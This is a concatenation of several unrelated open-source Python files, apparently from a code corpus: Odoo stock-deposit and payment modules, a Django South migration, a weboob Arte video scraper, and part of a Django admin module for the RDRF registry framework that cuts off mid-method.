False, 'state': 'draft', 'company_id': self.company_id.id, 'group_id': group.id, 'procurement_id': False, 'origin': False, 'route_ids': picking.picking_type_id.warehouse_id and [(6, 0, [x.id for x in picking.picking_type_id.warehouse_id.route_ids])] or [], 'warehouse_id': picking.picking_type_id.warehouse_id.id, 'invoice_state': 'none' } return move_template @api.one def _create_stock_moves(self, picking=False): stock_move = self.env['stock.move'] todo_moves = self.env['stock.move'] new_group = self.env['procurement.group'].create( {'name': 'deposit RET', 'partner_id': self.partner_id.id}) for vals in self._prepare_deposit_move(picking, new_group): todo_moves += stock_move.create(vals) todo_moves.action_confirm() todo_moves.force_assign() @api.multi def return_deposit(self): picking_type_id = self.env.ref('stock.picking_type_in') for deposit in self: picking = self.env['stock.picking'].create( {'picking_type_id': picking_type_id.id, 'partner_id': deposit.partner_id.id}) deposit._create_stock_moves(picking) deposit.write({'state': 'returned', 'return_picking_id': picking.id}) @api.model def send_advise_email(self): deposits = self.search([('return_date', '=', fields.Date.today())]) #~ mail_pool = self.env['mail.mail'] #~ mail_ids = self.env['mail.mail'] template = self.env.ref('stock_deposit.stock_deposit_advise_partner', False) for deposit in deposits: ctx = dict(self._context) ctx.update({ 'default_model': 'stock.deposit', 'default_res_id': deposit.id, 'default_use_template': bool(template.id), 'default_template_id': template.id, 'default_composition_mode': 'comment', 'mark_so_as_sent': True }) composer_id = self.env['mail.compose.message'].with_context( ctx).create({}) composer_id.with_context(ctx).send_mail() #~ mail_id = template.send_mail(deposit.id) #~ mail_ids += mail_pool.browse(mail_id) #~ if mail_ids: #~ mail_ids.send() return True @api.multi def deposit_loss(self): move_obj = self.env['stock.move'] picking_type_id = self.env.ref('stock.picking_type_out') deposit_loss_loc = self.env.ref('stock_deposit.stock_location_deposit_loss') for deposit in self: procurement_id = deposit.sale_id.procurement_group_id picking = self.env['stock.picking'].create( {'picking_type_id': picking_type_id.id, 'partner_id': deposit.partner_id.id, 'origin': deposit.sale_id.name, 'date_done': fields.Datetime.now(), 'invoice_state': 'none', 'commercial': deposit.user_id.id, 'group_id': procurement_id.id}) values = { 'product_id': deposit.product_id.id, 'product_uom_qty': deposit.product_uom_qty, 'product_uom': deposit.product_uom.id, 'partner_id': deposit.partner_id.id, 'name': u'Loss Deposit: ' + deposit.move_id.name, 'location_id': deposit.move_id.location_dest_id.id, 'location_dest_id': deposit_loss_loc.id, 'invoice_state': 'none', 'picking_id': picking.id, 'procurement_id': deposit.move_id.procurement_id.id, 'commercial': deposit.user_id.id, 'group_id': procurement_id.id } move = move_obj.create(values) move.action_confirm() move.force_assign() move.action_done() deposit.write({'state': 'loss', 'loss_move_id': move.id})
jgmanzanas/CMNT_004_15
project-addons/stock_deposit/stock_deposit.py
Python
agpl-3.0
10,814
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Docente' db.create_table('cadastro_docente', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('matricula', self.gf('django.db.models.fields.CharField')(max_length=7, unique=True)), ('nome', self.gf('django.db.models.fields.CharField')(max_length=100, unique=True)), )) db.send_create_signal('cadastro', ['Docente']) # Adding model 'Disciplina' db.create_table('cadastro_disciplina', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('codigo', self.gf('django.db.models.fields.CharField')(max_length=7)), ('nivel', self.gf('django.db.models.fields.CharField')(max_length=11)), ('multicampia', self.gf('django.db.models.fields.BooleanField')(default=False)), ('tipo', self.gf('django.db.models.fields.CharField')(max_length=11)), ('cargahoraria', self.gf('django.db.models.fields.IntegerField')(max_length=3)), ('estudantes', self.gf('django.db.models.fields.IntegerField')(max_length=3)), )) db.send_create_signal('cadastro', ['Disciplina']) # Adding model 'Pesquisa' db.create_table('cadastro_pesquisa', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('area', self.gf('django.db.models.fields.CharField')(max_length=20)), ('financiador', self.gf('django.db.models.fields.CharField')(max_length=20)), ('estudantes_graduacao', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('estudantes_pos', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('bolsistas_pibic', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('bolsistas_ppq', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('voluntarios', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('parceria', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)), ('parceria_inter', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)), )) db.send_create_signal('cadastro', ['Pesquisa']) # Adding model 'Extensao' db.create_table('cadastro_extensao', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('area', self.gf('django.db.models.fields.CharField')(max_length=20)), ('financiador', self.gf('django.db.models.fields.CharField')(max_length=20)), ('estudantes_graduacao', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('estudantes_pos', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('bolsistas_pibex', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('bolsistas_ppq', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('voluntarios', self.gf('django.db.models.fields.IntegerField')(max_length=2, blank=True)), ('parceria', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)), ('parceria_inter', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)), )) db.send_create_signal('cadastro', ['Extensao']) # Adding model 'Atividade' db.create_table('cadastro_atividade', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('docente', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['cadastro.Docente'])), ('afastamento', self.gf('django.db.models.fields.BooleanField')(default=True)), ('cargo', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)), ('comissoes', self.gf('django.db.models.fields.IntegerField')()), ('semestre', self.gf('django.db.models.fields.CharField')(max_length=6)), )) db.send_create_signal('cadastro', ['Atividade']) # Adding M2M table for field disciplinas on 'Atividade' m2m_table_name = db.shorten_name('cadastro_atividade_disciplinas') db.create_table(m2m_table_name, ( ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)), ('atividade', models.ForeignKey(orm['cadastro.atividade'], null=False)), ('disciplina', models.ForeignKey(orm['cadastro.disciplina'], null=False)) )) db.create_unique(m2m_table_name, ['atividade_id', 'disciplina_id']) # Adding M2M table for field pesquisa on 'Atividade' m2m_table_name = db.shorten_name('cadastro_atividade_pesquisa') db.create_table(m2m_table_name, ( ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)), ('atividade', models.ForeignKey(orm['cadastro.atividade'], null=False)), ('pesquisa', models.ForeignKey(orm['cadastro.pesquisa'], null=False)) )) db.create_unique(m2m_table_name, ['atividade_id', 'pesquisa_id']) # Adding M2M table for field extensao on 'Atividade' m2m_table_name = db.shorten_name('cadastro_atividade_extensao') db.create_table(m2m_table_name, ( ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)), ('atividade', models.ForeignKey(orm['cadastro.atividade'], null=False)), ('extensao', models.ForeignKey(orm['cadastro.extensao'], null=False)) )) db.create_unique(m2m_table_name, ['atividade_id', 'extensao_id']) def backwards(self, orm): # Deleting model 'Docente' db.delete_table('cadastro_docente') # Deleting model 'Disciplina' db.delete_table('cadastro_disciplina') # Deleting model 'Pesquisa' db.delete_table('cadastro_pesquisa') # Deleting model 'Extensao' db.delete_table('cadastro_extensao') # Deleting model 'Atividade' db.delete_table('cadastro_atividade') # Removing M2M table for field disciplinas on 'Atividade' db.delete_table(db.shorten_name('cadastro_atividade_disciplinas')) # Removing M2M table for field pesquisa on 'Atividade' db.delete_table(db.shorten_name('cadastro_atividade_pesquisa')) # Removing M2M table for field extensao on 'Atividade' db.delete_table(db.shorten_name('cadastro_atividade_extensao')) models = { 'cadastro.atividade': { 'Meta': {'object_name': 'Atividade'}, 'afastamento': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'cargo': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}), 'comissoes': ('django.db.models.fields.IntegerField', [], {}), 'disciplinas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['cadastro.Disciplina']", 'symmetrical': 'False'}), 'docente': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cadastro.Docente']"}), 'extensao': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['cadastro.Extensao']", 'symmetrical': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'pesquisa': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['cadastro.Pesquisa']", 'symmetrical': 'False'}), 'semestre': ('django.db.models.fields.CharField', [], {'max_length': '6'}) }, 'cadastro.disciplina': { 'Meta': {'object_name': 'Disciplina'}, 'cargahoraria': ('django.db.models.fields.IntegerField', [], {'max_length': '3'}), 'codigo': ('django.db.models.fields.CharField', [], {'max_length': '7'}), 'estudantes': ('django.db.models.fields.IntegerField', [], {'max_length': '3'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'multicampia': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'nivel': ('django.db.models.fields.CharField', [], {'max_length': '11'}), 'tipo': ('django.db.models.fields.CharField', [], {'max_length': '11'}) }, 'cadastro.docente': { 'Meta': {'object_name': 'Docente'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'matricula': ('django.db.models.fields.CharField', [], {'max_length': '7', 'unique': 'True'}), 'nome': ('django.db.models.fields.CharField', [], {'max_length': '100', 'unique': 'True'}) }, 'cadastro.extensao': { 'Meta': {'object_name': 'Extensao'}, 'area': ('django.db.models.fields.CharField', [], {'max_length': '20'}), 'bolsistas_pibex': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'bolsistas_ppq': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'estudantes_graduacao': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'estudantes_pos': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'financiador': ('django.db.models.fields.CharField', [], {'max_length': '20'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'parceria': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'parceria_inter': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'voluntarios': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}) }, 'cadastro.pesquisa': { 'Meta': {'object_name': 'Pesquisa'}, 'area': ('django.db.models.fields.CharField', [], {'max_length': '20'}), 'bolsistas_pibic': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'bolsistas_ppq': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'estudantes_graduacao': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'estudantes_pos': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}), 'financiador': ('django.db.models.fields.CharField', [], {'max_length': '20'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'parceria': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'parceria_inter': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'voluntarios': ('django.db.models.fields.IntegerField', [], {'max_length': '2', 'blank': 'True'}) } } complete_apps = ['cadastro']
UFRB/chdocente
cadastro/migrations/0001_initial.py
Python
agpl-3.0
11,352
# -*- coding: utf-8 -*- # Copyright(C) 2010-2011 Romain Bignon # # This file is part of weboob. # # weboob is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # weboob is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with weboob. If not, see <http://www.gnu.org/licenses/>. import re import datetime import time import urllib from weboob.capabilities import NotAvailable from weboob.capabilities.image import BaseImage from weboob.tools.json import json as simplejson from weboob.deprecated.browser import Browser from weboob.deprecated.browser.decorators import id2url from .pages import ArteLivePage, ArteLiveVideoPage from .video import ArteVideo, ArteLiveVideo __all__ = ['ArteBrowser'] class ArteBrowser(Browser): DOMAIN = u'videos.arte.tv' ENCODING = None PAGES = {r'http://concert.arte.tv/\w+': ArteLivePage, r'http://concert.arte.tv/(?P<id>.+)': ArteLiveVideoPage, } LIVE_LANG = {'F': 'fr', 'D': 'de' } API_URL = 'http://arte.tv/papi/tvguide' def __init__(self, lang, quality, order, *args, **kwargs): self.lang = lang self.quality = quality self.order = order Browser.__init__(self, *args, **kwargs) @id2url(ArteVideo.id2url) def get_video(self, url, video=None): response = self.openurl('%s/ALL.json' % url) result = simplejson.loads(response.read(), self.ENCODING) if video is None: video = self.create_video(result['video']) try: video.url = self.get_m3u8_link(result['video']['VSR'][0]['VUR']) video.ext = u'm3u8' except: video.url, video.ext = NotAvailable, NotAvailable return video def get_m3u8_link(self, url): r = self.openurl(url) baseurl = url.rpartition('/')[0] links_by_quality = [] for line in r.readlines(): if not line.startswith('#'): links_by_quality.append(u'%s/%s' % (baseurl, line.replace('\n', ''))) if len(links_by_quality): try: return links_by_quality[self.quality[1]] except: return links_by_quality[0] return NotAvailable @id2url(ArteLiveVideo.id2url) def get_live_video(self, url, video=None): self.location(url) assert self.is_on_page(ArteLiveVideoPage) json_url, video = self.page.get_video(video) return self.fill_live_video(video, json_url) def fill_live_video(self, video, json_url): response = self.openurl(json_url) result = simplejson.loads(response.read(), self.ENCODING) quality = None if 'VTI' in result['videoJsonPlayer']: video.title = u'%s' % result['videoJsonPlayer']['VTI'] if 'VSR' in result['videoJsonPlayer']: for item in result['videoJsonPlayer']['VSR']: if self.quality[0] in item: quality = item break if not quality: url = result['videoJsonPlayer']['VSR'][0]['url'] ext = result['videoJsonPlayer']['VSR'][0]['mediaType'] else: url = result['videoJsonPlayer']['VSR'][quality]['url'] ext = result['videoJsonPlayer']['VSR'][quality]['mediaType'] video.url = u'%s' % url video.ext = u'%s' % ext if 'VDA' in result['videoJsonPlayer']: date_string = result['videoJsonPlayer']['VDA'][:-6] try: video.date = datetime.datetime.strptime(date_string, '%d/%m/%Y %H:%M:%S') except TypeError: video.date = datetime.datetime(*(time.strptime(date_string, '%d/%m/%Y %H:%M:%S')[0:6])) if 'VDU' in result['videoJsonPlayer'].keys(): video.duration = int(result['videoJsonPlayer']['VDU']) if 'IUR' in result['videoJsonPlayer']['VTU'].keys(): video.thumbnail = BaseImage(result['videoJsonPlayer']['VTU']['IUR']) video.thumbnail.url = video.thumbnail.id return video def home(self): self.location('http://videos.arte.tv/%s/videos/toutesLesVideos' % self.lang) def get_video_from_program_id(self, _id): class_name = 'epg' method_name = 'program' level = 'L2' url = self.API_URL \ + '/' + class_name \ + '/' + method_name \ + '/' + self.lang \ + '/' + level \ + '/' + _id \ + '.json' response = self.openurl(url) result = simplejson.loads(response.read(), self.ENCODING) if 'VDO' in result['abstractProgram'].keys(): video = self.create_video(result['abstractProgram']['VDO']) return self.get_video(video.id, video) def search_videos(self, pattern): class_name = 'videos/plus7' method_name = 'search' level = 'L1' cluster = 'ALL' channel = 'ALL' limit = '10' offset = '0' url = self.create_url_plus7(class_name, method_name, level, cluster, channel, limit, offset, pattern) response = self.openurl(url) result = simplejson.loads(response.read(), self.ENCODING) return self.create_video_from_plus7(result['videoList']) def create_video_from_plus7(self, result): for item in result: yield self.create_video(item) def create_video(self, item): video = ArteVideo(item['VID']) if 'VSU' in item: video.title = u'%s : %s' % (item['VTI'], item['VSU']) else: video.title = u'%s' % (item['VTI']) video.rating = int(item['VRT']) if 'programImage' in item: url = u'%s' % item['programImage'] video.thumbnail = BaseImage(url) video.thumbnail.url = video.thumbnail.id video.duration = datetime.timedelta(seconds=int(item['videoDurationSeconds'])) video.set_empty_fields(NotAvailable, ('url',)) if 'VDE' in item: video.description = u'%s' % item['VDE'] if 'VDA' in item: m = re.match('(\d{2})\s(\d{2})\s(\d{4})(.*?)', item['VDA']) if m: dd = int(m.group(1)) mm = int(m.group(2)) yyyy = int(m.group(3)) video.date = datetime.date(yyyy, mm, dd) return video def create_url_plus7(self, class_name, method_name, level, cluster, channel, limit, offset, pattern=None): url = self.API_URL \ + '/' + class_name \ + '/' + method_name \ + '/' + self.lang \ + '/' + level if pattern: url += '/' + urllib.quote(pattern.encode('utf-8')) url += '/' + channel \ + '/' + cluster \ + '/' + '-1' \ + '/' + self.order \ + '/' + limit \ + '/' + offset \ + '.json' return url def get_arte_programs(self): class_name = 'epg' method_name = 'clusters' url = self.API_URL \ + '/' + class_name \ + '/' + method_name \ + '/' + self.lang \ + '/0/ALL.json' response = self.openurl(url) result = simplejson.loads(response.read(), self.ENCODING) return result['configClusterList'] def program_videos(self, program): class_name = 'epg' method_name = 'cluster' url = self.API_URL \ + '/' + class_name \ + '/' + method_name \ + '/' + self.lang \ + '/' + program \ + '.json' response = self.openurl(url) result = simplejson.loads(response.read(), self.ENCODING) for item in result['clusterWrapper']['broadcasts']: if 'VDS' in item.keys() and len(item['VDS']) > 0: video = self.get_video_from_program_id(item['programId']) if video: yield video def latest_videos(self): class_name = 'videos' method_name = 'plus7' level = 'L1' cluster = 'ALL' channel = 'ALL' limit = '10' offset = '0' url = self.create_url_plus7(class_name, method_name, level, cluster, channel, limit, offset) response = self.openurl(url) result = simplejson.loads(response.read(), self.ENCODING) return self.create_video_from_plus7(result['videoList']) def get_arte_live_categories(self): self.location('http://concert.arte.tv/%s' % self.LIVE_LANG[self.lang]) assert self.is_on_page(ArteLivePage) return self.page.iter_resources() def live_videos(self, cat): self.location('http://concert.arte.tv/%s' % self.LIVE_LANG[self.lang]) assert self.is_on_page(ArteLivePage) return self.page.iter_videos(cat, lang=self.LIVE_LANG[self.lang])
frankrousseau/weboob
modules/arte/browser.py
Python
agpl-3.0
9,423
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (c) 2010-2014 Elico Corp. All Rights Reserved. # Augustin Cisterne-Kaas <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from . import res_config
Elico-Corp/odoo-addons
website_recaptcha/models/__init__.py
Python
agpl-3.0
1,075
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). import logging from odoo import api, SUPERUSER_ID _logger = logging.getLogger(__name__) def post_init_hook(cr, registry): """ Create a payment group for every existint payment """ env = api.Environment(cr, SUPERUSER_ID, {}) # payments = env['account.payment'].search( # [('payment_type', '!=', 'transfer')]) # on v10, on reconciling from statements, if not partner is choosen, then # a payment is created with no partner. We still make partners mandatory # on payment groups. So, we dont create payment groups for payments # without partner_id payments = env['account.payment'].search( [('partner_id', '!=', False)]) for payment in payments: _logger.info('creating payment group for payment %s' % payment.id) _state = payment.state in ['sent', 'reconciled'] and 'posted' or payment.state _state = _state if _state != 'cancelled' else 'cancel' env['account.payment.group'].create({ 'company_id': payment.company_id.id, 'partner_type': payment.partner_type, 'partner_id': payment.partner_id.id, 'payment_date': payment.date, 'communication': payment.ref, 'payment_ids': [(4, payment.id, False)], 'state': _state, })
ingadhoc/account-payment
account_payment_group/hooks.py
Python
agpl-3.0
1,366
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # This module copyright (C) 2014 Therp BV (<http://therp.nl>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from . import res_partner_relation_type from . import res_partner
rschnapka/partner-contact
partner_relations_in_tab/model/__init__.py
Python
agpl-3.0
1,051
from django.utils.html import format_html from django.utils.translation import ugettext as _ from django.contrib import admin from django.urls import reverse from rdrf.models.definition.models import Registry from rdrf.models.definition.models import RegistryForm from rdrf.models.definition.models import QuestionnaireResponse from rdrf.models.definition.models import CDEPermittedValue from rdrf.models.definition.models import Notification from rdrf.models.definition.models import CDEPermittedValueGroup from rdrf.models.definition.models import CommonDataElement from rdrf.models.definition.models import Section from rdrf.models.definition.models import ConsentSection from rdrf.models.definition.models import ConsentQuestion from rdrf.models.definition.models import DemographicFields from rdrf.models.definition.models import CdePolicy from rdrf.models.definition.models import EmailNotification from rdrf.models.definition.models import EmailTemplate from rdrf.models.definition.models import EmailNotificationHistory from rdrf.models.definition.models import ContextFormGroup from rdrf.models.definition.models import ContextFormGroupItem from rdrf.models.definition.models import CDEFile from rdrf.models.definition.models import ConsentRule from rdrf.models.definition.models import ClinicalData from rdrf.models.definition.models import RegistryYaml from rdrf.models.definition.models import DropdownLookup from rdrf.models.proms.models import Survey from rdrf.models.proms.models import SurveyQuestion from rdrf.models.proms.models import Precondition from rdrf.models.proms.models import SurveyAssignment from rdrf.models.proms.models import SurveyRequest from rdrf.models.definition.review_models import Review from rdrf.models.definition.review_models import ReviewItem from rdrf.models.definition.review_models import PatientReview from rdrf.models.definition.review_models import PatientReviewItem from rdrf.models.definition.verification_models import Verification from rdrf.system_role import SystemRoles from rdrf.models.definition.models import CustomAction from rdrf.models.task_models import CustomActionExecution from reversion.admin import VersionAdmin import logging from django.http import HttpResponse from wsgiref.util import FileWrapper import io as StringIO from django.contrib import messages from django.http import HttpResponseRedirect from django.conf import settings from django.contrib.auth import get_user_model from rdrf.admin_forms import RegistryFormAdminForm from rdrf.admin_forms import EmailTemplateAdminForm from rdrf.admin_forms import DemographicFieldsAdminForm from functools import reduce logger = logging.getLogger(__name__) if settings.SYSTEM_ROLE != SystemRoles.CIC_PROMS: @admin.register(ClinicalData) class BaseReversionAdmin(VersionAdmin): pass class SectionAdmin(admin.ModelAdmin): list_display = ('code', 'display_name') ordering = ['code'] search_fields = ['code', 'display_name'] def has_add_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def has_change_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def has_delete_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False class RegistryFormAdmin(admin.ModelAdmin): list_display = ('registry', 'name', 'is_questionnaire', 'position') ordering = ['registry', 'name'] form = RegistryFormAdminForm list_filter = ['registry'] def has_add_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def has_change_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def has_delete_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def export_registry_action(modeladmin, request, registry_models_selected): from datetime import datetime export_time = str(datetime.now()) def export_registry(registry, request): from rdrf.services.io.defs.exporter import Exporter exporter = Exporter(registry) logger.info("EXPORTYAML %s %s" % (request.user, registry.code)) try: yaml_data, errors = exporter.export_yaml() if errors: logger.error("Error(s) exporting %s:" % registry.name) for error in errors: logger.error("Export Error: %s" % error) messages.error(request, "Error in export of %s: %s" % (registry.name, error)) return None return yaml_data except Exception as ex: logger.error("export registry action for %s error: %s" % (registry.name, ex)) messages.error(request, "Custom Action Failed: %s" % ex) return None registrys = [r for r in registry_models_selected] if len(registrys) == 1: registry = registrys[0] yaml_export_filename = registry.name + ".yaml" yaml_data = export_registry(registry, request) if yaml_data is None: return HttpResponseRedirect("") myfile = StringIO.StringIO() myfile.write(yaml_data) myfile.flush() myfile.seek(0) response = HttpResponse(FileWrapper(myfile), content_type='text/yaml') yaml_export_filename = "export_%s_%s" % (export_time, yaml_export_filename) response['Content-Disposition'] = 'attachment; filename="%s"' % yaml_export_filename return response else: import zipfile zippedfile = StringIO.StringIO() zf = zipfile.ZipFile(zippedfile, mode='w', compression=zipfile.ZIP_DEFLATED) for registry in registrys: yaml_data = export_registry(registry, request) if yaml_data is None: return HttpResponseRedirect("") zf.writestr(registry.code + '.yaml', yaml_data) zf.close() zippedfile.flush() zippedfile.seek(0) response = HttpResponse(FileWrapper(zippedfile), content_type='application/zip') name = "export_" + export_time + "_" + \ reduce(lambda x, y: x + '_and_' + y, [r.code for r in registrys]) + ".zip" response['Content-Disposition'] = 'attachment; filename="%s"' % name return response export_registry_action.short_description = "Export" def generate_questionnaire_action(modeladmin, request, registry_models_selected): for registry in registry_models_selected: registry.generate_questionnaire() generate_questionnaire_action.short_description = _("Generate Questionnaire") class RegistryAdmin(admin.ModelAdmin): list_display = ('name', 'code', 'version') actions = [export_registry_action, generate_questionnaire_action] def get_queryset(self, request): if not request.user.is_superuser: user = get_user_model().objects.get(username=request.user) return Registry.objects.filter(registry__in=[reg.id for reg in user.registry.all()]) return Registry.objects.all() def has_add_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def has_change_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def has_delete_permission(self, request, *args, **kwargs): if request.user.is_superuser: return True return False def get_urls(self): original_urls = super(RegistryAdmin, self).get_urls() return original_urls def get_readonly_fields(self, request, obj=None): "Registry code is readonly after creation" return () if obj is None else ("code",) class QuestionnaireResponseAdmin(admin.ModelAdmin): list_display = ('registry', 'date_submitted', 'process_link', 'name', 'date_of_birth') list_filter = ('registry', 'date_submitted') def process_link(self, obj): if not obj.has_mongo_data: return "NO DATA" link = "-" if not obj.processed: url = reverse('questionnaire_response', args=(obj.registry.code, obj.id)) link = "<a href='%s'>Review</a>" % url return link def get_queryset(self, request): user = request.user query_set = QuestionnaireResponse.objects.filter(processed=False) if user.is_superuser: return query_set else: return query_set.filter( registry__in=[ reg for reg in user.registry.all()], ) process_link.allow_tags = True process_link.short_description = _('Process questionnaire') def create_restricted_model_admin_class( model_class, search_fields=None, ordering=None, list_display=None): def query_set_func(model_class): def queryset(myself, request): if not request.user.is_superuser: return [] else: return model_class.objects.all() return queryset def make_perm_func(): def perm(self, request, *args, **kwargs): return request.user.is_superuser return perm overrides = { "has_add_permission": make_perm_func(), "has_change_permission": make_perm_func(), "has_delete_permission": make_perm_func(), "queryset": query_set_func(model_class), } if search_fields: overrides["search_fields"] = search_fields if ordering: overrides["ordering"] = ordering if list_display: overrides["list_display"] = list_display return type(model_class.__name__ + "Admin", (admin.ModelAdmin,), overrides) class CDEPermittedValueAdmin(admin.StackedInline): model = CDEPermittedValue extra = 0 fieldsets = ( (None, {'fields': ('code', 'value', 'questionnaire_value', 'desc', 'position')}), ) class CDEPermittedValueGroupAdmin(admin.ModelAdmin): inlines = [CDEPermittedValueAdmin] class NotificationAdmin(admin.ModelAdmin): list_display = ('created', 'from_username', 'to_username', 'message') class ConsentQuestionAdmin(admin.StackedInline): model = ConsentQuestion extra = 0 fieldsets = ( (None, { 'fields': ( 'position', 'code', 'question_label', 'questionnaire_label', 'instructions')}), ) class ConsentSectionAdmin(admin.ModelAdmin): list_display = ('registry', 'section_label') inlines = [ConsentQuestionAdmin] class DemographicFieldsAdmin(admin.ModelAdmin): model = DemographicFields form = DemographicFieldsAdminForm list_display = ("registry", "group", "field", "hidden", "readonly", "custom_label") class CdePolicyAdmin(admin.ModelAdmin): model = CdePolicy list_display = ("registry", "cde", "groups", "condition") def groups(self, obj): return ", ".join([gr.name for gr in obj.groups_allowed.all()]) groups.short_description = _("Allowed Groups") class EmailNotificationAdmin(admin.ModelAdmin): model = EmailNotification list_display = ("description", "registry", "email_from", "recipient", "group_recipient") def get_changeform_initial_data(self, request): from django.conf import settings return {'email_from': settings.DEFAULT_FROM_EMAIL} class EmailTemplateAdmin(admin.ModelAdmin): model = EmailTemplate form = EmailTemplateAdminForm list_display = ("language", "description") class EmailNotificationHistoryAdmin(admin.ModelAdmin): model = EmailNotificationHistory list_display = ("date_stamp", "email_notification", "registry", "full_language", "resend") def registry(self, obj): return "%s (%s)" % (obj.email_notification.registry.name, obj.email_notification.registry.code.upper()) def full_language(self, obj): return dict(settings.LANGUAGES).get(obj.language, obj.language) full_language.short_description = "Language" def resend(self, obj): email_url = reverse('resend_email', args=(obj.id,)) return format_html(u"<a class='btn btn-info btn-xs' href='%s'>Resend</a>" % email_url) resend.allow_tags = True class ConsentRuleAdmin(admin.ModelAdmin): model = ConsentRule list_display = ("registry", "user_group", "capability", "consent_question", "enabled") class PreconditionAdmin(admin.ModelAdmin): model = Precondition list_display = ('survey', 'cde', 'value') class SurveyQuestionAdmin(admin.StackedInline): model = SurveyQuestion extra = 0 ordering = ('position',) list_display = ("registry", "name", "expression") inlines = [PreconditionAdmin] class SurveyAdmin(admin.ModelAdmin): model = Survey list_display = ("registry", "name") inlines = [SurveyQuestionAdmin] class SurveyRequestAdmin(admin.ModelAdmin): model = SurveyRequest list_display = ("patient_name", "survey_name", "patient_token", "created", "updated", "state", "error_detail", "user") search_fields = ("survey_name", "patient__family_name", "patient__given_names") list_display_links = None class SurveyAssignmentAdmin(admin.ModelAdmin): model = SurveyAssignment list_display = ("registry", "survey_name", "patient_token", "state", "created", "updated", "response") class ContextFormGroupItemAdmin(admin.StackedInline): model = ContextFormGroupItem def get_max_num(self, request, obj=None, **kwargs): max_num 